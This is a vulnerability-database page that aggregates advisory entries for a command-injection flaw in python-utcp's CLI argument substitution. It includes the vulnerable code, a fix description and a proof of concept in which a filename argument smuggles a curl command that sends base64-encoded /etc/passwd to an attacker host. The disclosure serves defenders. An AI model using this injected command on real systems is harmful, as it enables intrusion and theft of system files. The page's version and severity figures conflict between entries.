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CVE-2026-45369 (GCVE-0-2026-45369)

Vulnerability from cvelistv5 – Published: 2026-05-14 20:14 – Updated: 2026-05-16 01:00

Title

python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Summary

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

Severity

8.3 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/universal-tool-calling-protoco…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
universal-tool-calling-protocol	python-utcp	Affected: < 1.1.2

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FKIE_CVE-2026-45369

Vulnerability from fkie_nvd - Published: 2026-05-14 21:16 - Updated: 2026-05-16 01:16

Severity

8.3 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4

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	Vendor	Product	Version

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GHSA-33P6-5JXP-P3X4

Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:46

Summary

utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Details

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2026-45369 (GCVE-0-2026-45369)

FKIE_CVE-2026-45369

GHSA-33P6-5JXP-P3X4

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